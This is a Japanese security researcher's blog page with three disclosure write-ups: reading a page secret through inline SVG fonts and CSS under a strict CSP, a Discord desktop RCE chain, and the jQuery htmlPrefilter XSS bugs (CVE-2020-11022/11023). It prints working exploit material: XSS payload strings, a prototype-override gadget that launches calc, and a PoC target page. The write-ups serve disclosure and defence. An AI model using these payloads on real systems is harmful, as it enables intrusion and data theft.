2021/11/28

SVGフォントとCSSを使ってページ内のテキストを読み取る

English version is here: https://mksben.l0.cm/2021/11/css-exfiltration-svg-font.html

この記事では、SVGフォントとCSSを使って、ページ内のテキストを読み取る方法を紹介します。

CSSを使ってデータを読み取る方法はいくつか知られており、既知の手法が以下のサイトでよくまとめられています。

CSS Injection Primitives :: DoomsDay Vault

https://x-c3ll.github.io/posts/CSS-Injection-Primitives/

これらのテクニックは、入力がサニタイズされていて使えるHTMLタグが限られているケースや、Content Security Policy(CSP)の制限によってJavaScriptが使えない状況などでも、スタイルの記述ができることなど一部の条件さえ満たしていれば使えるため、攻撃者にとって有用な場合があります。

今日紹介するテクニックもそのようなテクニックの1つです。ただ、完全に新しいものではなく、以下のMichał Bentkowskiさんによる合字を使ったテクニックを少し置き換えただけのものです。

Stealing Data in Great style – How to Use CSS to Attack Web Application. - research.securitum.com

https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/

ほぼ同じ手法ではあるものの、他で言及されているのを見たことがなかったことと、MichałさんのテクニックがCSPなどの制約により使用できない状況でも、こちらは使用できる場合があり、言及する価値があると思ったため、この記事を書くことにしました。

まず、Michałさんのテクニックがどのようなものか簡単に説明します。

フォントには、合字(ligature)を設定する仕組みがあります。合字とは、複数の文字を合成して一文字にしたものです。合字をフォント側で設定すると、例えば、「a」と「b」が隣り合わせに並んでいるとき、「ab」を1つの文字とみなして字体を適用することが可能です。この仕組みが、ページ内のテキストデータの読み取り攻撃を可能にします。具体的にどのように攻撃が可能か紹介していきます。

例として、ページ内に「"secret"」という文字列があり、攻撃者はこれを読み取りたいとしましょう。このとき、このテキストが含まれる箇所をCSSセレクタで指定し、攻撃者が作成した合字を持つフォントを適用します。攻撃者はまず、「"a」が合字になっているフォントを適用します。このとき、合字の文字幅を他の文字より大きく設定しておきます。「"a」は読み取りたい部分には存在しないので、大きな文字幅のフォントはページ上には表示されないことになります。さらに、「"b」「"c」「"d」...と、別のアルファベットが合字になったフォントをそれぞれ適用していきます。そうしていくと、「"s」が合字になったフォントを適用したときに、実際に大きな文字幅の字体がページ上に表示されることになります。これが適用されたことをある方法で検出することにより、「"s」がそこにあることをリークします。どのように検出するかというと、ChromeやSafariがサポートしている「-webkit-scrollbar」というスクロールバーのスタイルを指定できるCSS疑似要素を使います。このCSS疑似要素で、合字が適用される部分に、背景画像をロードするスタイルを設定しておくのです。この背景画像は、リクエスト量を抑えるブラウザ側の配慮のため、スタイルを設定するだけではロードされず、スクロールバーが実際に表示されたときにはじめてロードされるようになっています。この仕様のおかげで、文字幅が大きいフォントが出現したときだけ、スクロールバーが現れるように対象の要素のCSSを調整しておくことで、画像のロードの有無から、「"s」がそこにあるかどうかを検出できてしまいます。「"s」がわかったら、次は、「"sa」「"sb」「"sc」...と、3文字の文字幅が大きい合字を作成して、同様の試行を繰り返し、さらに、4文字の合字、5文字の合字と、合字の文字数を増やしていくことで、最終的に対象のすべての文字を読み取ることができてしまいます。

以上がMichałさんの発明したテクニックです。Michałさんは、SVG形式のフォントをWOFF形式のフォントに変換することでこれを行いましたが、この記事で紹介する方法では、SVG形式のフォントをあえてそのまま使います。Michałさんは、ブラウザがSVGフォントのサポートを辞めたためWOFFを使用したと書いていますが、実はSafariはSVGフォントをサポートしており、現在も使えます。今から紹介する方法は、SVGフォントを使う以外はMichałさんの手法とほぼ同じです。それでもあえて紹介したいのは、SVGフォントを使わないと攻撃できない状況がありうるからです。というのも、SVGフォントは、WOFF形式のフォントなどと同じように、URLからロードすることもできるのですが、URLからロードすること無しに、フォント全てをインラインで記述して設定することもできます。こうすると、CSPがフォントリソースのロードをブロックするような状況でもフォントを定義してフォントを適用することができます。

具体的にMichałさんの手法がどのように置き換えられるかみていきます。

Michałさんの手法では、<style>タグの@font-faceからWOFFフォントをロードしていました。

<style>
@font-face {
    font-family: "hack";
    src: url(http://192.168.13.37:3001/font/%22/0)
}
[...]
</style>

このスタイルは、インラインのSVGフォントで次のように置き換えられます。以下は「"0」の合字だけ文字幅を大きくして、その他の文字の文字幅を小さく設定するようなフォントの定義です。

<svg>
<defs>
<font horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000"></font-face>
<glyph unicode="&quot;0" horiz-adv-x="99999" d="M1 0z"></glyph>
<glyph unicode="1" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="2" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="3" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="4" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="5" horiz-adv-x="0" d="M1 0z"></glyph>
[...]
</font>
</defs>
</svg>

これで、CSSからfont-familyをhackに指定すると、SVG外であろうと、このSVGフォントをフォントとして使用できます。このとき、CSPでfont-src 'none' が指定されていようともブロックされることはありません。(ただし、最終的にデータの読み出しに使用するのはスクロールバーの背景画像を使った画像リクエストであることは同じなので、最低限img-srcディレクティブでリクエストを観測可能なホストが許可されている必要があります。)

実際のPoCをみていきましょう。

次のようなターゲットのページがあるとします。

https://vulnerabledoma.in/svg_font/xss.html?xss=%3Cs%3EXSS%3Cscript%3Ealert(1)%3C/script%3E

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-random';style-src 'unsafe-inline';img-src https:">
</head>
<body>
<script id="leakme" nonce="random">
const secret = "573ba8e9bfd0abd3d69d8395db582a9e";
</script>

<script nonce="random">
const params = (new URL(document.location)).searchParams;
const xss = params.get('xss');
if(xss){
    document.write(xss);
}
</script>
</body>
</html>

xssパラメータにインジェクションがあり、CSPのせいでスクリプトの実行やフォントのロードはできず、scriptブロック内のsecret変数に秘密情報がある、といったページです。この状況で、SVGフォントを利用して、secretを読み出すことができることを示します。

以下のURLに"Safariで"アクセスして、「Go」ボタンをクリックすることで再現できます。

PoC: https://l0.cm/svg_font/poc.php

攻撃に利用した全てのコードはここにあります: https://github.com/masatokinugawa/css-exfiltration-svg-font

うまく動けば、以下の動画のように、複数のウインドウが開き、しばらく待っていると、「Go」ボタンがあるページ上に「573b...」と少しずつsecretが表示されていくはずです。

SVGフォントを使用した以外は、MichałさんのPoCとほぼ同じなのですが、少しだけ変更した点があります。MichałさんのPoCではiframeでターゲットのページをロードしていましたが、これをwindow.open()で開くようにしました。これは、Safariは現在デフォルトで全てのサードパーティCookieをブロックするため、iframeを使った攻撃はログイン済みのユーザーのデータを読み取る攻撃の例として現実的でないと考えたからです。また、データの受け渡し方法も変更しています。MichałさんのPoCでは、Cookieを経由して値を渡していますが、ここでも、サードパーティCookieのブロックのために背景画像のロード時にCookieをセットできないため、セッションIDをURLに付けることで代用しています。

ちなみに、一度に複数のウィンドウを開けているのは、Safariのポップアップブロッカーは1回のクリックで開けるウィンドウ数に制限がないためです。このおかげで、Safariでは、1回のクリックさえあれば、複数のウィンドウを使ってデータの読み出し試行が可能です。


以上、SVGフォントとCSSを使ってページ内のテキストを読み取る手法について紹介しました。

CSPでスクリプトの実行をブロックされることが増えてきた昨今、スクリプトを使わない攻撃はまだ何かないかといつも考えています。また何か面白いことに気付いたら紹介したいと思います。

2020/10/18

DiscordデスクトップアプリのRCE

数か月前、ゲームのコミュニティなどで人気のチャットアプリ「Discord」のデスクトップ用アプリケーションに任意のコードを実行可能な問題を発見し、Bug Bounty Programを通じて報告しました。発見したRCEは、複数のバグを組み合わせることによって達成される面白いものだったので、この記事では、その詳細を共有したいと思います。なお、現在脆弱性は修正されています。

調査のきっかけ

Electronアプリの脆弱性を探したい気分だったので、Electronアプリで報奨金が出るアプリを探していたところ、Discordが候補にあがりました。Discordは自分自身が利用者で、自分が使うアプリが安全かどうかをチェックしたいという思いもあったので、調査をすることにしました。

発見した脆弱性

私は主に次の3つのバグを組み合わせることでRCEを達成しました。

  1. contextIsolationオプションの不使用
  2. 埋め込みコンテンツのXSS
  3. ナビゲーション制限のバイパス(CVE-2020-15174)

1つずつ紹介していきます。

contextIsolationオプションの不使用

Electronアプリを検査するとき、私がまず確認しているのが、ブラウザウィンドウを作成するときに使用するBrowserWindow APIで使われているオプションです。まずオプションをチェックして、レンダラ上に読み込まれたページのXSSなどを通じて任意のJavaScriptを実行できた場合に、RCEの達成ができそうかを確認します。

Discordのソースコードは公開されていませんが、ElectronのJS部分はローカルにasar形式で圧縮して保存されており、単に圧縮を解くことによって確認することができました。

メインウィンドウでは、以下のオプションが使用されていました。 

const mainWindowOptions = {
  title: 'Discord',
  backgroundColor: getBackgroundColor(),
  width: DEFAULT_WIDTH,
  height: DEFAULT_HEIGHT,
  minWidth: MIN_WIDTH,
  minHeight: MIN_HEIGHT,
  transparent: false,
  frame: false,
  resizable: true,
  show: isVisible,
  webPreferences: {
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
    nodeIntegration: false,
    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true
  }
};

ここで特にチェックすべき重要なオプションは、nodeIntegrationとcontextIsolationです。上記のコードから、Discordのメインウィンドウでは、nodeIntegrationはfalse、contextIsolationはfalse(使われているバージョン時点でのデフォルト)に設定されていることがわかりました。

nodeIntegrationがtrueになっていれば、レンダラ上に読み込まれたページのJavaScriptから、require呼び出しを介して、シンプルにNode.jsの機能を使うことができます。例えば、Windows上で電卓を呼び出すJavaScriptは次のようになります。

<script>
  require('child_process').exec('calc');
</script>

今回は、nodeIntegrationはfalseに設定されていたので、このように直接requireを使ってNode.jsの機能を使うことはできません。

しかしまだ、Node.js機能へのアクセスの可能性は残っています。もう1つ重要と言ったオプション、「contextIsolation」はfalseでした。RCEの可能性を排除したければ、この設定をfalseにすべきではありません。

contextIsolationが無効になっていると、Webページ上で実行されたJavaScriptが、Electron自体がレンダラで使っているJavaScriptコードや、プリロードスクリプト(以下、これらをWebページ外のJavaScriptコードと呼ぶこととします)の実行に影響を与えることができてしまいます。例えば、JavaScriptのビルトインメソッドであるArray.prototype.joinをWebページ上で別の関数で上書きした場合、Webページ外のJavaScriptコード上でjoinが使用されると、それらの箇所でも上書きされた関数が呼び出されるという具合になります。

この動作は危険です。というのも、これらのWebページ外のJavaScriptコードでは、Node.js機能へのアクセスがnodeIntegrationの設定にかかわらず許されており、Webページから上書きした関数でそれらのコードの実行に干渉することで、nodeIntegrationがfalseであっても、RCEを実現できる場合があるためです。

なお、そのようなトリックがElectronに存在することは、以前までは全く知られておらず、私も参加したCure53が2016年行ったElectronアプリケーションの検査の中で初めて発見されました。その後、Electron自体の問題として対処され、このcontextIsolationオプションが導入されたという背景があります。

その時の検査のレポートが以下に最近公開されたので、よければご覧ください。

Pentest-Report Ethereum Mist 11.2016 - 10.2017
https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view

また、私が以前イベントでこの問題について発表した資料も以下にあります。


contextIsolationは、WebページとWebページ外のJavaScriptコードとの間に別々のコンテキストを導入し、それぞれのコードの実行がそれぞれに影響を与えないようにします。RCEの可能性を排除するためには必ず有効にすべき機能ですが、今回Discordでは無効になっていました。

contextIsolationが無効になっていることが分かったので、Webページ外のJavaScriptコードに干渉することで任意のコードの実行を実現できるような箇所を探し始めました。

通常、私がElectronの検査でRCEのPoCを作成するときは、まずElectron自体がレンダラで使っているJavaScriptコードを利用してRCEを実現しようとします。これは、Electron自体がレンダラで使っているJavaScriptコードはどんなElectronアプリでも実行されるため、基本的には同じ攻撃コードでRCEを実現でき、簡単だからです。

スライドでは、ナビゲーション時に実行されるElectron内部のコードを利用してRCEできることを紹介しましたが、そのように利用できる箇所がいくつか存在しています。 (このあたりの方法については、いずれまとめたいと思います。) 

ただし、使用されているElectronのバージョンや設定されているBrowserWindowオプションなどによって、コードが変更されていたり、うまくそのコードに到達できないことがあり、今回はうまくいかなかったので、プリロードスクリプトにターゲットをうつしました。

すると、Discordは、プリロードスクリプトからWebページ上に関数を公開しており、DiscordNative.nativeModules.requireModule('モジュール名') を通じて、一部の許可されたモジュールを呼び出せるようにしていることがわかりました。ここで直接child_processなどのRCEに利用できるモジュールを使うことはできませんでしたが、ビルトインメソッドの上書きによって、公開されたモジュールの実行に干渉することで、RCEを実現できる箇所を発見しました。

以下がそのPoCです。discord_utils というモジュールが定義するgetGPUDriverVersionsRegExp.prototype.testArray.prototype.joinを以下のような関数で上書きした状態でdevTools上から呼び出すと、電卓が起動することを確認できました。

RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

getGPUDriverVersionsは、以下のように、関数内でexecaというライブラリを使用してプログラムの実行を行おうとします。

module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }

  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }

  return result;
};

execaはnvidiaSmiPath変数で指定されたプログラム「nvidia-smi.exe」を実行しようとしていますが、RegExp.prototype.testArray.prototype.joinを上書きしたことで、execa内部の処理で、引数がcalcに変更されます。

具体的には次の2か所を変更することで引数を取り換えています。

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

あとはこのスクリプトを実行する方法をアプリ上で発見すれば、実際にRCEが達成可能ということになります。

埋め込みコンテンツのXSS

任意のJavaScriptの実行からRCEが起きうることはわかったので、アプリ上でXSSを探し始めました。XSSが起きやすそうなオートリンク機能やMarkdownのサポートがありましたが、うまく作られているようでした。そこで私はiframeの埋め込み機能に目を付けました。iframeの埋め込み機能とは、YouTubeのURLを張り付けたときなどに動画プレーヤーが自動で展開され、チャット上で再生できるような機能のことです。

Discordは、URLが貼り付けられると、そのURLのOGP情報を取得しに行き、OGP情報がある場合は、ページのタイトルや概要、サムネイル画像や関連付けられた動画などをチャット上にインライン表示します。

このOGPから、動画のURL情報を取り出し、その"動画のURLが" 埋め込みを許可されたドメインにあり、埋め込み用ページのURLの形をしていれば、iframeの埋め込みが許可されます。

どのサービスがiframeへ埋め込まれるかは、どこかにドキュメント化されていなかったのでCSPのframe-srcディレクティブを見ることでヒントを得ました。以下がその時設定されていたCSPです。

Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com

YouTubeやTwitch、Spotifyなど、明らかにiframeへの埋め込みを目的に許可されたドメインがあるのがわかります。私はこの中のサービスから、OGPの動画情報部分にURLを指定して、iframeに埋め込まれるかどうかを1つ1つ確認し、そのURL上にXSSがないか探しました。すると、ここにリストされているドメインの1つ「sketchfab.com」の埋め込み用URLで、URLが埋め込まれ、そのURL上でXSSを発見できました。私はこの時に初めてSketchfabを知ったのですが、3Dモデルを公開したり売買できるプラットフォームのようです。3Dモデルへ付加できる脚注中にシンプルなDOM-based XSSがありました。

以下は脆弱性レポート中でも使用した細工したOGPを持ったページです。このURLをチャットに投稿すると、Sketchfabのiframeがチャット上に表示され、iframe上で数回のクリック操作を実行するとスクリプトが発火していました。

https://l0.cm/discord_rce_og.html

<head>
    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    [...]
    <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>

さて、XSSを発見したのはいいのですが、JavaScriptはまだiframe中で実行されています。Electronはiframe内にWebページ外のJavaScriptコードをロードしないので、iframeからビルトインメソッドを上書きしても、クリティカルな部分に干渉することができません。RCEのためには、iframeの外に出て、トップレベルブラウジングコンテキストでJavaScriptを実行する必要があります。これには、iframeから新しいウィンドウを開くか、topのウィンドウをiframeから別のURLへナビゲートする必要がありそうです。

新しいウィンドウのオープンとtopウィンドウのナビゲーションは、Mainプロセス側の以下のコードで、"new-window"および"will-navigate"イベントを監視することで制限されているようでした。

mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
  e.preventDefault();
  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
  } else {
    _electron.shell.openExternal(windowURL);
  }
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
    evt.preventDefault();
  }
});

このコードを見る限りでは、うまく新しいウィンドウのオープンとナビゲーションを制限しているように見えました。ところが、予想外のことが起きました。

ナビゲーション制限のバイパス(CVE-2020-15174)

ひとまずブロックされる様子を見てみようと思い、実際に動かしてみると、iframeからtopへのナビゲーションがなぜかブロックされなかったのです。普通は、ナビゲーションが発生する前にwill-navigateイベントによって捕捉され、preventDefault()によってナビゲーションは中断されるはずです。

不思議に思い、この動作を模倣する小さなElectronアプリを作って確かめてみると、iframeから発生したtopへのナビゲーションから、will-navigateイベントがなぜか送出されていないことがわかりました。iframeのURLがtopと同一オリジンの場合はちゃんと送出されるのですが、どうやらクロスオリジンにあると送出されないようなのです。クロスオリジンのときだけイベントが送出されない特別な理由があるとは思えないので、Electronのバグであると考え、後でElectron Teamへ報告することにしました。

このバグに助けられ、ナビゲーション制限をバイパスすることができました。あとは、iframe内のXSSを使って、top.location="//l0.cm/discord_calc.html"などとして、topをRCEを実行するコードを含んだページへナビゲートするだけです。

このように、3つのバグを組み合わせ、以下の動画のように電卓を実行することができました。


おわりに

これらの問題は、DiscordのBug Bounty Programを通じて報告しました。まず、Sketchfabの埋め込みが無効化され、iframeにsandbox属性をつけることでiframeからナビゲーションを起こせないような回避策がとられました。その後、しばらくしてcontextIsolationが有効化され、任意のJavaScriptを実行できたとしても、ビルトインメソッドの上書きからRCEが起きないようになりました。この発見の報奨金として$5,000をいただきました。

SketchfabのXSSは、SketchfabのBug Bounty Programを通じて報告し、修正されました。こちらも$300の報奨金をいただきました。

will-navigateイベントが送出されない動作はElectronのバグとしてElectronのセキュリティ窓口を通じて報告したところ、以下のように脆弱性(CVE-2020-15174)として修正されました。

Unpreventable top-level navigation · Advisory · electron/electron
https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674

以上、Electronアプリ「Discord」の脆弱性について紹介しました。アプリ自体のコードとは無関係の、外部ページのXSSやElectronのバグのせいでRCEに繋がっている点が個人的にはとても面白いと思います。2016年頃にElectronに初めて触れたときは、XSSがあれば一発RCEの危険なプラットフォームという印象でしたが、現在はElectronのデフォルトでcontextIsolationを有効化するなど、安全側に倒そうとする動きがあり、少しずつセキュリティ面が改善されてきているように思います。いいことですね。

この記事がElectronアプリを安全にするための一助となれば幸いです。

2020/05/18

CVE-2020-11022/CVE-2020-11023: jQuery 3.5.0で修正されたSecurity Fixの詳細

English version is here: https://mksben.l0.cm/2020/05/jquery3.5.0-xss.html


先月、jQuery 3.5.0がリリースされました。
このバージョンでは、僕が報告した問題がSecurity Fixとして含まれています。

jQuery 3.5.0 Released! | Official jQuery Blog
https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/

報告したバグは、CVE-2020-11022、 CVE-2020-11023 として採番されています。

https://github.com/advisories/GHSA-gxr4-xjj5-5px2
https://github.com/advisories/GHSA-jpcq-cgw6-v4j6

少し遅くなりましたが、この記事では、この問題がどんなものであったかを紹介します。

問題の概要


この問題の影響を受けるのは、次のようなアプリケーションです。

  • ユーザに、XSSが起きない範囲で、好きなHTMLを使用させる機能がある
  • そのHTMLをjQueryで動的にページへ追加している

このような機能を持つアプリケーションを、シンプルなコードで表してみます。
<div id="div"></div>
<script>
//サーバ側でサニタイズされた安全なHTML
sanitizedHTML = '<p title="foo">bar</p>';
//divにHTMLを追加
$('#div').html(sanitizedHTML);
</script>
この状況では、通常、適切にサニタイズが行われているのであれば、ただ安全なHTMLを追加しているだけなので、XSSが発生することはないように思えます。しかし、実際には、.html()は内部で特別な文字列処理を行っており、この処理のせいでXSSが発生する場合がありました。これが今回の問題です。

XSSが起きる例


いくつかバリエーションがあるのですが、3つ例を示します。
次の3つはいずれも本来スクリプトが実行されないHTMLです。
例1.
<style><style /><img src=x onerror=alert(1)> 
例2. (jQuery 3.x以降のみ影響)
<img alt="<x" title="/><img src=x onerror=alert(1)>">
例3.
<option><style></option></select><img src=x onerror=alert(1)></style>
onerrorを持ったimgタグがあるように見えるかもしれませんが、よく見ると、属性内にあったり、style要素の内側に置かれていて、それらは実際には実行されないものです。これらがサニタイズ済みの安全なHTMLとして生成されたとしても、なんら不自然ではありません。

しかしながら、いずれも、.html()を通して追加されると、本来は実行されないスクリプトが実行されてしまいます。

それぞれの例を以下で実際に実行できます。
https://vulnerabledoma.in/jquery_htmlPrefilter_xss.html

なぜ実行されたのか詳しくみていきます。

CVE-2020-11023: 問題の原因(例1と2)


例の1と2は同じ原因で発生します。.html()の内部では、引数のHTML文字列が $.htmlPrefilter() というメソッドに渡されます。htmlPrefilterでは、<tagname />のようなself-closingタグを、次の正規表現を使った置換によって、<tagname ></tagname>のような形に戻す処理を行います。

rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi
[...]
htmlPrefilter: function( html ) {
  return html.replace( rxhtmlTag, "<$1></$2>" );
この置換処理に例1のHTMLを通した時の出力は以下になります。
> $.htmlPrefilter('<style><style /><img src=x onerror=alert(1)>')
< "<style><style ></style><img src=x onerror=alert(1)>"
黄色部分が置換された箇所です。この置換により、style要素の内側にあった<style /><style ></style>となり、それ以降の文字がstyle要素の外にはみ出てしまいました。.html()はこの後、置換後の文字列をinnerHTMLへ代入します。そこで、本来style要素の内側にあった<img ...>がタグとして現れ、onerrorが発火してしまいます。これが例1が発火するメカニズムです。

なお、上記の正規表現はjQuery3.x以前に使われていたもので、3.x以降は以下のように少し変更されています。

https://github.com/jquery/jquery/commit/fb9472c7fbf9979f48ef49aff76903ac130d0959#diff-169760a97de5c86a886842060321d2c8L30-R30
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi

この変更によって、より簡単な要素・属性で、XSSを引き起こすことが可能になりました。
例2はこの変更によって生まれた新たなベクターです。jQuery3.x以降でのみ動作します。
> $.htmlPrefilter('<img alt="<x" title="/><img src=x onerror=alert(1)>">')
< "<img alt="<x" title="></x"><img src=x onerror=alert(1)>">"
こちらは属性内にある文字列がはみ出してXSSが発生しています。

これが例1と2の原因でした。

jQuery側の修正(例1と2)


$.htmlPrefilter()を、渡された文字列をそのまま返す関数に変更することで対処されました。

https://github.com/jquery/jquery/commit/90fed4b453a5becdb7f173d9e3c1492390a1441f#diff-169760a97de5c86a886842060321d2c8L201-R198

しかし、これで全ての問題が解決したわけではありませんでした。.html()内部ではさらに別の文字列処理が行われており、それが原因で例3が発生します。

CVE-2020-11022: 問題の原因(例3)


.html()内部では、引数に渡されたHTMLの先頭に出てくるタグが特定のタグであった場合、他のタグで一度ラップしてから処理を行おうとします。これは、ラップされている状態でないと、処理途中で勝手に消されてしまうような要素がブラウザの仕様やバグのために存在するからです。

option要素はそのような要素の1つです。IE9限定ではありますが、IE9のバグによってselect要素がないと消されてしまいます。jQueryはこれに対処するために、例えば、<option>aaa</option>のような、最初に出てくる要素がoption要素のHTML文字列が渡されると、<select multiple='multiple'></select>で全体をラップして処理を行おうとします。

ラップを行うタグは以下のファイルで定義されています。
https://github.com/jquery/jquery/blob/3.4.1/src/manipulation/wrapMap.js#L9

実際のラップは以下で行われます。
https://github.com/jquery/jquery/blob/d0ce00cdfa680f1f0c38460bc51ea14079ae8b07/src/manipulation/buildFragment.js#L39

例3は、このラップの処理が原因で発生していました。
例3のHTMLがラップ処理を通ると、次のHTMLが組み立てられます。
<select multiple='multiple'><option><style></option></select><img src=x onerror=alert(1)></style></select>
これがjQueryの内部のコード中でinnerHTMLへ代入されるとき、スクリプトが実行されます。

スクリプトが実行される理由はselect要素のパース方法にあります。select要素の内側では、option、optgroup、script、template要素以外のHTMLタグは置くことができません。この仕様によって、ここに書かれた<style>は無視され、<style>の内側にあった</select>が閉じタグとして作用し、select要素がそこで終了します。後続の<img ...><style>からはみ出た結果、onerrorが発火します。これが例3の原因でした。

jQuery側の修正(例3)


このラップ処理をIE9だけに適用することで対処されました。

https://github.com/jquery/jquery/commit/966a70909019aa09632c87c0002c522fa4a1e30e#diff-51ec14165275b403bb33f28ce761cdedR25

そうすると、IE9は脆弱なままに思えますが、実際には問題ありません。というのも、詳しくは触れませんが、IE9は他のブラウザとは異なる奇妙な規則でselect要素の内側に置かれた<style>のパースを行うため、この問題の影響を受けないからです。

ちなみに、これらの問題は、.html()だけではなく、.append()$('<tag>')のような、HTMLを生成/追加する際に$.htmlPrefilter()やラップ処理を通すその他のAPIでも発生します。

更新しましょう


サニタイズしたHTMLをjQueryで追加している覚えのある人は3.5.0以降へのアップデートを推奨します。
アップデートが何らかの理由で難しい場合は、DOMPurifyを使ってサニタイズを行うことをお勧めします。DOMPurifyは、SAFE_FOR_JQUERYという、このバグを考慮したサニタイズを行うオプションがあるためです。例えば、次のように使います。
<div id="div"></div>
<script>
unsafeHtml = '<img alt="<x" title="/><img src=x onerror=alert(1)>">';
var sanitizedHtml = DOMPurify.sanitize( unsafeHtml, { SAFE_FOR_JQUERY: true } );
$('#div').html( sanitizedHtml );
</script>
なお、DOMPurifyでは最近バイパスが見つかっています。既にDOMPurifyをSAFE_FOR_JQUERYと共に使っている人は、バイパスに対処した2.0.8以降にアップデートしていることを確認してください。

おわりに


この問題を調査したきっかけは、@PwnFunctionさんによる以下のXSSチャレンジでした。
https://xss.pwnfunction.com/challenges/ww3/

実はこのバグの一部は以前から既知で、このチャレンジではそれが想定解となっていました。(実際、DOMPurifyでは、2014年には既にSAFE_FOR_JQUERYオプションが導入されており、相当前から知られていた問題であることがわかります。)

今回、このチャレンジをきっかけに改めてjQueryのソースを読んでみました。その過程で、今まで言及されていなかった「例2」のベクターを発見しました。このケースは、かなりベーシックなHTML要素・属性だけで攻撃が可能で、多くの開発者が知らずに脆弱性を作りこんでいるのではないかと考え、実際に調べてみると、すぐにXSSが可能なアプリが見つかりました。影響を受けるアプリの開発元に報告をすると同時に、本来はjQueryが修正すべき問題だという思いを持ち、今回報告に至りました。jQueryのメンテナの方々は、破壊的な変更をしなければならなかったにもかかわらず、迅速に問題に対処してくれました。素早い対応に感謝します。また、この問題を調査するきっかけをくれたXSSチャレンジ作成者の@PwnFunctionさんにも感謝します。

以上、jQuery 3.5.0で修正された脆弱性について説明しました。この記事がjQueryを使ったアプリをセキュアにする助けとなれば嬉しいです。